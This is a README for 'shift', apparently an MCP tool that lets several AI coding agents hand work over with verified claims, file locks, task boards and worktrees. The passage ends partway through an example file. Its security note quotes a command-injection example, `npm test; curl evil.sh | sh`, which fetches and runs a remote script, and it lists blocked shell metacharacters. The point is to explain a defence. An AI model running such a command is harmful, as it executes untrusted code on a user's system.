Skip to main content
Glama
README.md
# shift

**Shift changes for AI coding agents.** shift lets several AI agents (Claude Code, Codex, Gemini
CLI, Cursor, other Claude sessions, ...) work in the same project, one after another or at the same
time, and stay aware of each other's work.

An agent ends its shift with a **handover**: what it did, as separate claims with evidence. The next
agent **verifies** those claims before trusting them; claims that carry a command are checked by
running it. Along the way, agents leave **notes** (decisions, warnings, questions), files are
**locked** while an agent edits them so parallel agents do not collide, work is split into
**tasks** on a shared board, and old history is **compacted** into a rolling project summary so the
context stays small. shift also keeps a **track record** per agent, so you know whose claims need a
closer look. Parallel agents can each get their own **git worktree**, you can follow everything on a
local **dashboard**, and shift can send you a **desktop notification** when something needs you.

Everything is stored as plain files in `.shift/` inside your project. There is no daemon, no
database and no account. Every agent talks to it through one MCP server.

---

## Contents

- [Why](#why)
- [How it works](#how-it-works)
- [Install](#install)
  - [Claude Code](#claude-code-plugin)
  - [Codex](#codex)
  - [Gemini CLI](#gemini-cli)
  - [Cursor](#cursor)
  - [Any other MCP client](#any-other-mcp-client)
- [Quick start](#quick-start)
- [Workflows](#workflows)
  - [Sequential: one agent hands over to the next](#sequential-one-agent-hands-over-to-the-next)
  - [Parallel: two agents at the same time](#parallel-two-agents-at-the-same-time)
  - [Parallel in separate worktrees](#parallel-in-separate-worktrees)
  - [Splitting work into tasks](#splitting-work-into-tasks)
  - [Asking another agent a question](#asking-another-agent-a-question)
- [Concepts](#concepts)
  - [Handovers and claims](#handovers-and-claims)
  - [Reviews and verdicts](#reviews-and-verdicts)
  - [Notes and messages](#notes-and-messages)
  - [Executable evidence](#executable-evidence)
  - [Locks](#locks)
  - [Compaction](#compaction)
  - [Tasks](#tasks)
  - [Presence](#presence)
  - [Track record](#track-record)
  - [Handover reminder](#handover-reminder)
  - [Worktrees](#worktrees)
  - [Dashboard](#dashboard)
  - [Notifications](#notifications)
  - [Talking to agents yourself](#talking-to-agents-yourself)
  - [Agent identity](#agent-identity)
- [MCP tool reference](#mcp-tool-reference)
- [Claude Code plugin](#claude-code-plugin-details)
- [CLI reference](#cli-reference)
- [Configuration](#configuration)
- [The `.shift/` directory](#the-shift-directory)
- [Should I commit `.shift/`?](#should-i-commit-shift)
- [Troubleshooting](#troubleshooting)
- [Roadmap](#roadmap)
- [Development](#development)

---

## Why

When you switch between AI agents in one project, each new agent starts blind. It does not know
what the previous one did, what it left unfinished, what it decided, or what it got wrong. You end
up re-explaining context, and mistakes pass silently from one agent to the next.

When agents run in parallel it gets worse: two agents edit the same file and overwrite each other.

shift fixes both:

| Problem | shift |
|---------|-------|
| New agent has no context | Handover with goal, done, not done, next steps, risks, git range |
| "Done" is just a claim | Each claim is checked by the next agent: `confirmed`, `disputed`, `unverified`; claims with a command are checked by running it |
| Decisions get re-litigated | `decision` notes, shown at session start |
| Agents cannot talk | Addressed notes: questions, answers, warnings |
| Parallel agents collide | Path locks: taken automatically on edit in Claude Code, or claimed up front |
| History grows without bound | Compaction folds old handovers and notes into `SUMMARY.md` |
| Nobody knows who does what next | Task board with owners, status and dependencies |
| Some agents over-claim | Per-agent dispute rate from all reviews |
| A crashed agent keeps files locked | Presence: auto locks of silent agents are dropped |
| Parallel agents step on each other's working tree | One git worktree per agent, sharing one `.shift/` |
| You cannot see what is going on | `shiftctl ui` dashboard and desktop notifications |

## How it works

```
 ┌──────────────┐   ┌──────────────┐   ┌──────────────┐
 │ Claude Code  │   │    Codex     │   │  Gemini CLI  │   ... any MCP client
 │ + plugin     │   │              │   │              │
 └──────┬───────┘   └──────┬───────┘   └──────┬───────┘
        │ MCP (stdio)      │                  │
 ┌──────▼──────────────────▼──────────────────▼───────┐
 │          shiftctl mcp   (one process per agent)    │
 └──────────────────────────┬─────────────────────────┘
                            │ atomic file writes + mutex
                 ┌──────────▼──────────┐
                 │  <project>/.shift/  │  handovers, reviews, notes, locks, log
                 └─────────────────────┘
```

- **Protocol first.** The files are the source of truth. Any agent, or you, can read them.
- **MCP is the common interface.** Each agent starts its own `shiftctl mcp` process. They
  coordinate through the files only.
- **Safe under concurrency.** Writes go to a temp file and are renamed into place. Read-modify-write
  steps take a cross-process mutex (`.shift/.mutex`).
- **Agent adapters are thin.** The Claude Code plugin adds hooks and commands on top of the same
  MCP tools. Other agents get the same tools plus an instructions block.

## Install

Requirements: Node.js 18 or newer, and git (optional, but needed for automatic git data in handovers).

Clone this repository somewhere permanent. The paths below use `/path/to/shift`; replace it with
the real absolute path. The prebuilt `dist/shiftctl.mjs` is all you need at runtime; no
`npm install` is required.

### Claude Code (plugin)

In Claude Code:

```
/plugin marketplace add tahayigitmelek/shift
/plugin install shift@shift
```

(or `/plugin marketplace add /path/to/shift` for a local clone)

Restart Claude Code. You get:

- the `shift_*` MCP tools,
- a `SessionStart` hook that shows pending handovers, messages and locks,
- a `PreToolUse` hook that blocks edits to files another agent has locked, and locks the files
  Claude edits (auto-claim),
- a `SessionEnd` hook that releases those automatic locks,
- an opt-in `Stop` hook that reminds Claude to write a handover,
- the commands `/shift:init`, `/shift:handover`, `/shift:review`, `/shift:status`, `/shift:plan`,
  `/shift:tasks` and `/shift:ui`,
- the `shift-protocol` skill, which tells Claude when to use each tool.

### Codex

Add the server to `~/.codex/config.toml`:

```toml
[mcp_servers.shift]
command = "node"
args = ["/path/to/shift/dist/shiftctl.mjs", "mcp"]
```

Add the protocol to the project's `AGENTS.md` (see [Quick start](#quick-start)).

Optional, to get the session start context and lock enforcement in Codex too:

```bash
shiftctl hooks-config codex
```

prints a `hooks.json` block (SessionStart, a PreToolUse hook on `apply_patch`, SessionEnd). Save it
as `.codex/hooks.json` in the project or `~/.codex/hooks.json`, merging with existing hooks, then
review and trust it with `/hooks` in Codex: Codex skips new hooks until you do. The lock hook reads
the file paths from the patch text (`*** Update File:`, `*** Add File:`, `*** Delete File:`,
`*** Move to:`). Codex has no "ask" decision yet, so `lock_mode: ask` acts as `deny` there.

### Gemini CLI

Add the server to `~/.gemini/settings.json` (or `.gemini/settings.json` in the project):

```json
{
  "mcpServers": {
    "shift": { "command": "node", "args": ["/path/to/shift/dist/shiftctl.mjs", "mcp"] }
  }
}
```

Add the protocol to `GEMINI.md`.

Optional hooks: `shiftctl hooks-config gemini` prints a block for `.gemini/settings.json` with
SessionStart, a BeforeTool hook on `write_file|replace` and SessionEnd.

> Google's docs say Gemini CLI was replaced by Antigravity CLI in June 2026. The hook format above
> follows the Gemini CLI hooks reference; check it against the version you run.

### Cursor

Add the server to `.cursor/mcp.json` in the project (or `~/.cursor/mcp.json`):

```json
{
  "mcpServers": {
    "shift": { "command": "node", "args": ["/path/to/shift/dist/shiftctl.mjs", "mcp"] }
  }
}
```

Paste the output of `shiftctl snippet` into a rule file, for example `.cursor/rules/shift.mdc`.

### Any other MCP client

Run `node /path/to/shift/dist/shiftctl.mjs mcp` as a stdio MCP server, started in the project
directory. Put the protocol block (`shiftctl snippet`) wherever that agent reads its instructions.

> Tip: create an alias so you can type `shiftctl` directly:
> `alias shiftctl="node /path/to/shift/dist/shiftctl.mjs"`. With the Claude Code plugin installed, the
> bundle is at `~/.claude/plugins/marketplaces/shift/dist/shiftctl.mjs`. The command is not called `shift`
> because `shift` is a shell builtin.

## Quick start

In Claude Code, inside your project:

```
/shift:init
```

This creates `.shift/` and adds the protocol block to `AGENTS.md` (read by Codex, Cursor and
others), plus `GEMINI.md` if it exists. Name other files to use them instead:
`/shift:init AGENTS.md GEMINI.md .cursor/rules/shift.mdc`. It is safe to run twice.

Without Claude Code, ask any agent to call the `shift_init` tool, or run
`shiftctl init --agents-md AGENTS.md`.

You can skip init: the first write from any agent (a note, task or handover) creates `.shift/` too,
but only init adds the protocol block for the other agents.

Check the state at any time:

```bash
shiftctl status
```

## Workflows

### Sequential: one agent hands over to the next

**1. Claude finishes for the day.** In Claude Code:

```
/shift:handover codex
```

Claude re-runs the tests, then calls `shift_handover_create`:

```json
{
  "to": "codex",
  "goal": "Add email/password login to the web app",
  "done": [
    { "text": "Login form renders at /login", "evidence": "npm test -- login.spec.ts: 4 passed", "cmd": "npm test -- login.spec.ts" },
    { "text": "POST /api/login returns a session cookie", "evidence": "src/api/login.ts:12-48, commit 3f2a91c" }
  ],
  "not_done": ["Password reset flow: not started"],
  "next_steps": ["Add rate limiting to /api/login", "Write the reset flow"],
  "risks": ["Session secret is read from .env; missing in CI"],
  "verification": ["npm test: 31 passed, 0 failed", "npm run lint: clean"]
}
```

shift adds the git branch, HEAD, the commit range since the previous handover, and the changed files,
and releases the locks Claude held.

**2. Codex starts.** It calls `shift_status` (as `AGENTS.md` tells it to) and sees:

```
Handovers waiting for you (ack, then review each claim):
  - ho-20261128-173012402-9c1e [open] claude → codex: Add email/password login to the web app
```

**3. Codex takes over and verifies.** `shift_handover_ack`, then `shift_verify`. With
`verify_allow: ["npm test"]` in the config, the first claim's command runs automatically:

```
0. Login form renders at /login
   - PASS `npm test -- login.spec.ts`
1. POST /api/login returns a session cookie
   - no command
```

Codex checks the second claim by reading the diff, then calls `shift_review`:

```json
{
  "handover_id": "ho-20261128-173012402-9c1e",
  "verdicts": [
    { "claim": 0, "verdict": "confirmed", "note": "4 passed locally" },
    { "claim": 1, "verdict": "disputed", "note": "Cookie lacks HttpOnly; src/api/login.ts:41" }
  ],
  "summary": "Form OK, cookie flags need fixing before rate limiting."
}
```

The handover becomes `disputed`.

**4. Claude comes back.** Its `SessionStart` hook shows:

```
Your handovers that were disputed / only partly verified:
  - ho-20261128-173012402-9c1e [disputed] claude → codex: Add email/password login to the web app
```

Nothing slipped through: the cookie bug is on record, with the file and line.

### Parallel: two agents at the same time

Claude refactors authentication while Codex writes docs.

In Claude Code you do not have to do anything: the first edit of a file locks it for Claude
(auto-claim, 30 minutes, renewed on every edit), and the lock is released when the session ends or
Claude writes a handover. To reserve a whole area up front, or for agents without hooks, claim
explicitly:

1. Claude claims what it will touch:
   `shift_claim { "paths": ["src/auth"], "reason": "auth refactor" }`
2. Codex claims its area: `shift_claim { "paths": ["docs"], "reason": "API docs" }`
3. Codex later tries to claim `src/auth/session.ts`. The claim fails and names the holder:
   ```
   Not claimed. Held by other agents:
   src/auth — claude: auth refactor (until 2026-11-28T19:30:00.000Z)
   ```
4. If an agent tries to edit a locked file anyway, the Claude Code hook stops it:
   ```
   shift: src/auth/session.ts is locked by codex (auth refactor, until ...).
   Coordinate with shift_note to=codex, or wait for shift_release.
   ```
5. When done, each agent writes a handover, which releases its locks (or calls `shift_release`).

Locks expire after `lock_ttl_minutes` (default 120), so a crashed agent cannot block a path forever.

For two instances of the **same** AI (two Claude sessions), give each a name, for example
`SHIFT_AGENT=claude-a claude` and `SHIFT_AGENT=claude-b claude`. See [Agent identity](#agent-identity).

### Parallel in separate worktrees

Locks stop two agents from editing the same file at once, but they still share one working tree:
one agent's half-finished change can break the other's test run. For real isolation, give each
agent its own git worktree:

```bash
shiftctl worktree add codex      # ../app.worktrees/codex on new branch shift/codex
shiftctl worktree add gemini     # ../app.worktrees/gemini on branch shift/gemini

cd ../app.worktrees/codex && SHIFT_AGENT=codex codex
```

All worktrees share the main checkout's `.shift/`, so handovers, tasks, notes and the dashboard are
the same everywhere. Each handover records the branch and worktree it came from and the commits made
since the previous handover on that branch. Merge with plain git when a branch is reviewed:

```bash
git merge shift/codex
shiftctl worktree remove codex   # the branch is kept
```

### Splitting work into tasks

You have Claude, Codex and Gemini available and a feature to build. In Claude Code:

```
/shift:plan user accounts: signup, login, password reset, profile page
```

Claude reads the code and adds tasks with `shift_task_add`:

```
tk-20261128-100001120-a1b2 [todo] users table + migration
tk-20261128-100001180-c3d4 [todo] signup endpoint (waits on tk-20261128-100001120-a1b2)
tk-20261128-100001240-e5f6 [todo] login endpoint (waits on tk-20261128-100001120-a1b2)
tk-20261128-100001300-0a1b [todo] profile page UI
```

Each agent starts its session, sees "Tasks ready to take" in `shift_status`, and calls
`shift_task_take`. Taking fails if another agent already owns the task or its dependencies are not
done, so two agents never start the same task. When the migration is `done`, both endpoint tasks
become ready.

Agents finish with `shift_handover_create { ..., "tasks": ["tk-..."] }` and set the task to `done`
(or back to `todo`, or `blocked` with a note). The handover is linked in the task's history.

### Asking another agent a question

```json
shift_note { "kind": "question", "to": "claude", "text": "Why bcrypt instead of argon2?", "ref": "ho-20261128-173012402-9c1e" }
```

Claude sees "Unread messages for you" at its next session start, reads it with `shift_inbox`, and
replies:

```json
shift_note { "kind": "answer", "to": "codex", "text": "argon2 needs a native build that fails on our CI image.", "ref": "nt-20261128-180501230-4b2d" }
```

If the answer is a lasting choice, it should also be a `decision` note so every agent sees it.

## Concepts

### Handovers and claims

A handover is the end-of-shift report. Its fields:

| Field | Meaning |
|-------|---------|
| `to` | Target agent id, or `any` (default) |
| `goal` | The overall task |
| `done` | List of **claims**: `{ text, evidence?, cmd? }`, numbered from 0 |
| `not_done` | Unfinished or blocked work, and why |
| `next_steps` | Concrete next actions |
| `risks` | Fragile spots, assumptions, gotchas |
| `verification` | Commands run and their results |
| `files` | Files worth reading; files changed in git are added automatically |
| `git` | Added automatically: `branch`, `worktree` (if not the main one), `head`, `base`, `dirty`, `files`, `commits` |
| `tasks` | Task ids this handover reports on; the handover is linked into each task's history |
| `keep_locks` | Input only: keep your locks after the handover (default: release them all) |

`git.base` is the HEAD recorded by the previous handover **on the same branch**, so `base..head` is
exactly the range of commits made during this shift; `git.commits` lists them (`git log --oneline`,
up to 30). `git.files` is the union of files changed in that range and
uncommitted files. Files in `.shift/` are excluded.

A good claim is small and checkable by someone else. "Login works" is a bad claim. "POST
/api/login returns 200 and a session cookie; `npm test -- login.spec.ts` passes" is a good one.

### Reviews and verdicts

Lifecycle:

```
open ──ack──▶ acked ──review──▶ verified | partial | disputed
```

- **ack** marks the handover as taken, so another agent does not also start on it. Only one
  agent can ack a handover; acking twice by the same agent is a no-op. You cannot ack your own.
- **review** records a verdict per claim:
  - `confirmed`: you reproduced the evidence,
  - `disputed`: it is false or broken (say what you saw in `note`),
  - `unverified`: you could not check it (say why).

  Claims without a verdict count as `unverified`. The handover status becomes:
  - `verified` if every claim is confirmed,
  - `disputed` if any claim is disputed,
  - `partial` otherwise.

A review without a prior ack also acks the handover. A handover can be reviewed more than once;
all reviews are kept, and the latest sets the status.

### Notes and messages

`shift_note` creates a note with a `kind`:

| kind | Use for |
|------|---------|
| `note` | General information |
| `decision` | A choice other agents must respect. The last 5 are shown at every session start |
| `warning` | A hazard: "do not run the migration on prod data" |
| `question` | Ask an agent something (set `to`) |
| `answer` | Reply (set `ref` to the question id) |

Set `to` to an agent id to make it a message, or `to: "all"` to message everyone. Messages appear
as unread in `shift_status` and the session start context until the recipient calls `shift_inbox`.
Notes without `to` are shared notes that anyone can list with `shift_notes`.

### Executable evidence

A claim can carry a `cmd`: a shell command, run from the project root, whose exit code proves the
claim (0 = true). For example `npm test -- login.spec.ts` or `node scripts/check-migrations.js`.

`shift_verify { handover_id, record? }` runs the claim commands and reports PASS / FAIL / TIMEOUT
with the tail of the output:

- `record: false` (default): returns the results and suggested verdicts, so the agent can combine
  them with its own checks in `shift_review`.
- `record: true`: writes the review directly. Exit 0 = `confirmed`, non-zero or timeout =
  `disputed`, not run or no command = `unverified`.

> **Security.** The commands come from another agent's handover, and the MCP server runs them
> outside your agent's own permission system. So **by default `shift_verify` runs nothing**; it
> lists the commands, and the agent runs them with its own shell tool, where your normal approval
> rules apply. A command runs automatically only if it starts with a prefix in `verify_allow`
> **and** contains no shell metacharacters (``; & | $ ` < > ( ) { } \`` or newlines), so
> `npm test; curl evil.sh | sh` never matches `npm test`. Allowlisting `npm test` still means
> trusting whatever the `test` script in `package.json` does.

From the terminal, `shiftctl verify <id>` shows the commands, asks for confirmation, then runs all of
them. Add `--record` to save the result as a review, `--yes` to skip the prompt. The exit code is 2
if any command failed.

### Locks

- Paths are relative to the project root. A lock can be a file or a directory.
- A lock on a directory covers everything under it. Claiming a directory conflicts with any lock
  inside it too.
- A claim is all or nothing: if any path conflicts, nothing is claimed.
- Re-claiming your own path renews it.
- **Auto locks.** With `auto_claim: true` (default), the Claude Code edit hook locks each file the
  agent edits, for `auto_claim_ttl_minutes` (default 30), renewed on every edit. Auto locks are
  marked `auto: true` and released at session end. An explicit claim on the same path replaces the
  auto lock and survives session end.
- `shift_handover_create` releases all of your locks unless `keep_locks: true`.
- Locks expire after `ttl_minutes` (default from `lock_ttl_minutes`). Expired locks are dropped
  on read.
- `shift_release` with no paths releases all of your locks.
- Paths outside the project are rejected.
- **Locks are per worktree.** Agents in different git worktrees edit separate copies, so their locks
  never conflict; their changes meet at merge time. Inside one worktree, locks work as above.

Locks are advisory for the MCP tools. In Claude Code, the `PreToolUse` hook enforces them on
`Edit`, `Write`, `MultiEdit` and `NotebookEdit`. Agents without hooks rely on the instructions
block.

### Compaction

Without care, `.shift/` grows with every handover and the session start context with it.
Compaction folds old items into a rolling summary, `.shift/SUMMARY.md`, which is shown at the top of
`shift_status` and of the Claude Code session start context (first 3000 characters).

It takes two steps, because summarizing needs a model and the server has none:

1. `shift_compact { keep_last? }` returns the current summary and the items that can be folded in:
   reviewed handovers (`verified`, `partial`, `disputed`) with their reviews, and settled notes. The
   newest `keep_last` (default 5) of each stay live.
2. The agent writes an updated summary and calls `shift_compact_commit { summary, ids }`. The summary
   replaces `SUMMARY.md`, and the items move to `.shift/archive/`.

Never archived: open or acked handovers, `decision` notes (they stay binding and listed), and
messages the recipient has not read. Archived handovers and reviews can still be opened by id with
`shift_handover_get`.

When the number of foldable items reaches `compact_threshold` (default 20), `shift_status` suggests
running compaction.

### Tasks

The board lives in `.shift/tasks/`, one file per task.

| Field | Meaning |
|-------|---------|
| `title`, `description` | What to do, and how to tell it is done |
| `status` | `todo`, `doing`, `blocked`, `done`, `dropped` |
| `owner` | The agent working on it |
| `depends_on` | Task ids that must be `done` (or `dropped`) first |
| `handovers` | Handovers that reported on it |
| `history` | Every change, with time and agent |

Rules:

- `shift_task_take` makes you the owner and sets `doing`. It fails if another agent owns the task or
  a dependency is not finished; `force: true` overrides both and records "took over from X".
- `shift_task_update` with `status: "todo"` puts the task back on the board, unowned.
- A **ready** task is `todo`, unowned, with every dependency finished. `shift_status` shows the first
  five; `shift_task_list { scope: "ready" }` shows all.
- Unknown dependencies, self-dependencies and cycles are rejected.
- **Disputes reopen work.** When a review disputes a handover, every task that handover reported on
  and that is marked `done` goes back to `doing` (owner kept, or the handover author), with the
  review in its history. `blocked` and `todo` tasks are left alone.

### Presence

Every MCP tool call and every Claude Code hook call is a heartbeat, stored in
`.shift/presence.json` (written at most every 30 seconds per agent).

- `shift_status` lists the other agents seen in the last `presence_active_minutes` (default 10).
- If an agent has been silent for `presence_stale_minutes` (default 20), its **auto** locks no longer
  count, so a crashed or closed agent does not block files until the TTL runs out. Explicit claims
  are kept until they expire. If the agent comes back, its unexpired auto locks count again.

### Track record

`shift_stats` (or `shiftctl stats`) shows, per agent, over all handovers including archived ones:

```
| agent  | handovers | reviewed | claims | confirmed | disputed | unverified | dispute rate | reviews given | disputes raised |
|--------|-----------|----------|--------|-----------|----------|------------|--------------|---------------|-----------------|
| claude | 12        | 11       | 41     | 37        | 2        | 2          | 5%           | 6             | 3               |
| codex  | 8         | 8        | 25     | 18        | 5        | 2          | 22%          | 10            | 2               |
```

Each handover counts by its latest review. The dispute rate is `disputed / (confirmed + disputed)`,
so unverified claims do not dilute it. Use it to decide how closely to check an agent's claims.

### Handover reminder

With `remind_handover: true`, the Claude Code `Stop` hook checks, when Claude ends its turn, whether
Claude still holds auto locks. That means it edited files and has not written a handover since,
because a handover releases them. If so, it asks Claude once to write a handover if the work is
finished, or to say in one line that it is only pausing. It reminds at most once per
`remind_interval_minutes` (default 60), and never twice in the same turn. Off by default.

### Worktrees

```
shiftctl worktree add NAME [--base REF]   create ../<repo>.worktrees/NAME on new branch shift/NAME
shiftctl worktree list                    all worktrees; "shift" marks the ones shift created
shiftctl worktree remove NAME [--force]   remove the worktree, keep the branch
```

The location comes from `worktree_dir` (default `../{repo}.worktrees`, where `{repo}` is the project
folder name). The worktrees sit next to the project, not inside it, so tools that scan the project
do not walk into them. Names may contain letters, digits, `.`, `_` and `-`.

From inside a linked worktree, shift finds the shared `.shift/` through git's common directory, so
the MCP server and the hooks need no extra setup there.

### Dashboard

```bash
shiftctl ui --open             # write .shift/dashboard.html and open it
shiftctl ui --watch 5 --open   # keep regenerating every 5 s; the page reloads itself
```

One self-contained HTML file, light and dark: counters, project summary, handovers with each claim's
verdict, the task board, agents with their dispute rate and last heartbeat, locks, notes and recent
activity. All agent-written text is escaped. `--out FILE` writes somewhere else.
`dashboard.html` is git-ignored.

### Notifications

With `notify: true`, shift sends a desktop notification for:

- a new handover,
- a review that disputes a handover,
- a reopened task,
- `question` and `warning` notes,
- any note addressed to `human` or `all`.

macOS uses `osascript`, Linux `notify-send`. Set `notify_command` to use something else; the title
and message are appended as two arguments, never pasted into a shell string. For example, push to
your phone with [ntfy](https://ntfy.sh):

```yaml
notify: true
notify_command: [ntfy, publish, my-shift-topic]
```

### Talking to agents yourself

You are an agent too, named `human` by default:

```bash
shiftctl note "Use pnpm, not npm" --kind decision
shiftctl note "Please look at the flaky login test" --to codex
shiftctl inbox                  # messages agents sent to "human"
shiftctl status                 # the overview from your point of view
shiftctl verify <id> --record   # review a handover by running its claim commands
```

Agents can write to you with `shift_note { "to": "human", ... }`; combine with `notify: true` to
get those as notifications.

### Agent identity

Each agent needs a stable name, so shift knows whose handover and whose lock is whose. The name is
resolved in this order:

1. the `SHIFT_AGENT` environment variable,
2. the MCP client name reported when the agent connects, normalized:

   | Client name | Agent id |
   |-------------|----------|
   | `claude-code` | `claude` |
   | `codex-mcp-client` | `codex` |
   | `gemini-cli-mcp-client` | `gemini` |
   | anything with `cursor`, `copilot`, `windsurf`, `cline`, `zed` | that word |
   | anything else | lowercased, `-cli` / `-mcp-client` suffix removed |

3. `unknown`.

The Claude Code hooks use the same rules, so the hooks and the MCP server always agree on the name.
Use `SHIFT_AGENT` whenever you run two instances of the same AI, or if you want custom names.

## MCP tool reference

| Tool | Arguments | Returns |
|------|-----------|---------|
| `shift_init` | `instruction_files[]` (default `AGENTS.md` + existing `GEMINI.md`; `[]` for none) | What was created or changed |
| `shift_dashboard` | `open` (default true) | Path of the written `.shift/dashboard.html` |
| `shift_status` | none | Overview: project summary, active agents, handovers waiting for you, your disputed handovers, unread messages, your tasks, ready tasks, locks, recent decisions, recent activity |
| `shift_handover_create` | `goal` (required), `to`, `done[] {text, evidence, cmd}`, `not_done[]`, `next_steps[]`, `risks[]`, `verification[]`, `files[]`, `tasks[]`, `keep_locks` | The new handover, rendered; your locks are released |
| `shift_handover_list` | `scope`: `pending` (default) \| `mine` \| `all`; `status[]`; `limit` | One line per handover |
| `shift_handover_get` | `id` | Full handover with numbered claims, plus its reviews |
| `shift_handover_ack` | `id` | The handover, now `acked` by you |
| `shift_review` | `handover_id`, `verdicts[] {claim, verdict, note}`, `summary` | The review and the resulting status |
| `shift_verify` | `handover_id`, `record` | PASS / FAIL / NOT RUN per claim command; suggested verdicts, or the recorded review |
| `shift_note` | `text` (required), `kind`, `to`, `files[]`, `ref` | The note id |
| `shift_inbox` | none | Unread messages for you; marks them read |
| `shift_notes` | `kind[]`, `limit` (default 30) | One line per note, newest last |
| `shift_claim` | `paths[]`, `reason`, `ttl_minutes` | Claimed locks, or an error naming the holders |
| `shift_release` | `paths[]` (optional) | Released paths |
| `shift_check` | `paths[]` | `Free.` or the conflicting locks |
| `shift_compact` | `keep_last` (default 5) | Current summary, items to fold in, and their ids |
| `shift_compact_commit` | `summary`, `ids[]` | Saves `SUMMARY.md`, archives the items |
| `shift_task_add` | `title` (required), `description`, `depends_on[]`, `owner` | The new task id |
| `shift_task_list` | `scope`: `open` (default) \| `ready` \| `mine` \| `all`; `status[]` | One line per task, with unmet dependencies |
| `shift_task_get` | `id` | Full task with history and linked handovers |
| `shift_task_take` | `id`, `force` | The task, now `doing` and owned by you |
| `shift_task_update` | `id`, `status`, `owner` (null unassigns), `note`, `depends_on[]`, `title`, `description` | The updated task |
| `shift_stats` | none | Per-agent track record table |

Errors come back as MCP tool errors (`isError: true`) with a readable message, for example
`shift: cannot ack your own handover` or `shift: claim index 5 out of range (handover has 2 claims)`.

## Claude Code plugin details

| Part | What it does |
|------|--------------|
| `.mcp.json` | Starts `shiftctl mcp` with the plugin |
| `SessionStart` hook | Injects the protocol summary and `shift_status` output into Claude's context. Silent if the project has no `.shift/` |
| `PreToolUse` hook (`Edit\|Write\|MultiEdit\|NotebookEdit`) | If the target file is locked by another agent, returns `deny` or `ask` per `lock_mode`, with the holder and reason. Otherwise, with `auto_claim`, locks the file for Claude |
| `SessionEnd` hook | Releases Claude's automatic locks; explicit claims stay |
| `Stop` hook | Opt-in handover reminder (`remind_handover`) |
| `/shift:init [files]` | Creates `.shift/` and adds the protocol block to the instruction files |
| `/shift:ui` | Writes and opens the dashboard |
| `/shift:handover [agent] [context]` | Re-checks the work, releases locks, writes a handover with evidence-backed claims |
| `/shift:review [id]` | Reads and acks a handover, runs `shift_verify`, checks the remaining claims, then records the review |
| `/shift:status` | Shows `shift_status` and unread messages, without acting |
| `/shift:plan <work>` | Splits the work into tasks with dependencies, without starting any |
| `/shift:tasks` | Shows open and ready tasks |
| `shift-protocol` skill | When to use which tool, and the rules: verify, don't trust; respect locks; keep what matters when compacting |

Hooks never break your session: on any internal error they print a message to stderr and exit 0.

## CLI reference

```
shiftctl mcp                            Start the MCP server on stdio
shiftctl init [--agents-md FILE]        Create .shift/; optionally append the protocol block to FILE
shiftctl status [--agent NAME]          Show the overview from NAME's point of view (default: human)
shiftctl stats                          Per-agent track record
shiftctl ui [--open] [--watch [S]] [--out FILE]   (or /shift:ui, shift_dashboard)
                                        HTML dashboard (default .shift/dashboard.html)
shiftctl worktree add NAME [--base REF] New worktree on branch shift/NAME, sharing .shift/
shiftctl worktree list | remove NAME [--force]
shiftctl note "TEXT" [--to A] [--kind K] [--ref ID]
                                        Leave a note or message as "human"
shiftctl inbox                          Read messages sent to "human"
shiftctl hooks-config gemini|codex      Print the hooks block for that agent's config
shiftctl snippet                        Print the protocol block for AGENTS.md / GEMINI.md / rules
shiftctl verify ID [--yes] [--record] [--agent NAME]
                                        Run a handover's claim commands (asks first unless --yes);
                                        --record saves a review by NAME (default human); exit 2 on failure
shiftctl hook session-start --agent N [--format claude|gemini|codex]
shiftctl hook pre-tool-use --agent N [--format claude|gemini|codex]
shiftctl hook session-end --agent N     Hook entry point (reads hook JSON on stdin)
shiftctl hook stop --agent N            (Claude Code only)

All hook entry points read the host's hook JSON on stdin and always exit 0.
shiftctl help
```

Environment variables:

| Variable | Effect |
|----------|--------|
| `SHIFT_AGENT` | Overrides the agent name |
| `SHIFT_ROOT` | Overrides the project root |
| `CLAUDE_PROJECT_DIR` | Set by Claude Code; used as the starting point to find the root |

The project root is `SHIFT_ROOT`, otherwise the nearest ancestor directory that contains
`.shift/`, otherwise the git top level, otherwise the current directory.

## Configuration

`.shift/config.yml`:

```yaml
lock_mode: deny
lock_ttl_minutes: 120
auto_claim: true
auto_claim_ttl_minutes: 30
verify_allow:
  - npm test
  - pnpm test
verify_timeout_seconds: 300
compact_threshold: 20
presence_active_minutes: 10
presence_stale_minutes: 20
remind_handover: false
remind_interval_minutes: 60
worktree_dir: ../{repo}.worktrees
notify: false
notify_command: []
```

| Key | Values | Default | Meaning |
|-----|--------|---------|---------|
| `lock_mode` | `deny`, `ask`, `off` | `deny` | `deny` blocks the edit; `ask` asks you to approve it; `off` disables the hook check and auto-claim |
| `lock_ttl_minutes` | integer | `120` | Lifetime of an explicit lock when `ttl_minutes` is not given |
| `auto_claim` | boolean | `true` | The Claude Code edit hook locks each file the agent edits |
| `auto_claim_ttl_minutes` | integer | `30` | Lifetime of an auto lock; renewed on every edit |
| `verify_allow` | list of command prefixes | `[]` | Claim commands `shift_verify` may run by itself; see [Executable evidence](#executable-evidence) |
| `verify_timeout_seconds` | integer | `300` | Per-command timeout for `shift_verify` and `shiftctl verify` |
| `compact_threshold` | integer | `20` | `shift_status` suggests compaction when this many items can be folded |
| `presence_active_minutes` | integer | `10` | An agent seen within this window is listed as active |
| `presence_stale_minutes` | integer | `20` | Auto locks of an agent silent this long stop counting |
| `remind_handover` | boolean | `false` | Enable the Claude Code `Stop` hook reminder |
| `remind_interval_minutes` | integer | `60` | Minimum time between two reminders |
| `worktree_dir` | path | `../{repo}.worktrees` | Where `shiftctl worktree add` creates worktrees, relative to the project |
| `notify` | boolean | `false` | Desktop notifications, see [Notifications](#notifications) |
| `notify_command` | list of strings | `[]` | Custom notifier command; title and message are appended |

Missing keys fall back to the defaults, so an old config keeps working.

## The `.shift/` directory

```
.shift/
  config.yml
  .gitignore              ignores locks.json, presence.json, dashboard.html, .mutex/, *.tmp
  SUMMARY.md              rolling project summary written by compaction
  handovers/<id>.md
  reviews/<id>.md
  notes/<id>.md
  tasks/<id>.md           the task board
  archive/                compacted handovers, reviews and notes (same layout)
  locks.json              active locks (ephemeral)
  presence.json           last heartbeat per agent (ephemeral)
  dashboard.html          written by shiftctl ui (ephemeral)
  log.jsonl               append-only event log
```

Ids sort in creation order: `ho-20261128-173012402-9c1e` is a handover created at 17:30:12.402 UTC
on 2026-11-28, followed by 4 random hex digits. `rv-...` is a review, `nt-...` a note, `tk-...` a task.

Each document is markdown with YAML frontmatter. **The frontmatter is the source of truth**; the
body is a human-readable rendering, regenerated on every write. Edit the frontmatter if you must
fix something by hand.

Example handover:

```markdown
---
id: ho-20261128-173012402-9c1e
from: claude
to: codex
status: disputed
created: 2026-11-28T17:30:12.402Z
goal: Add email/password login to the web app
done:
  - text: Login form renders at /login
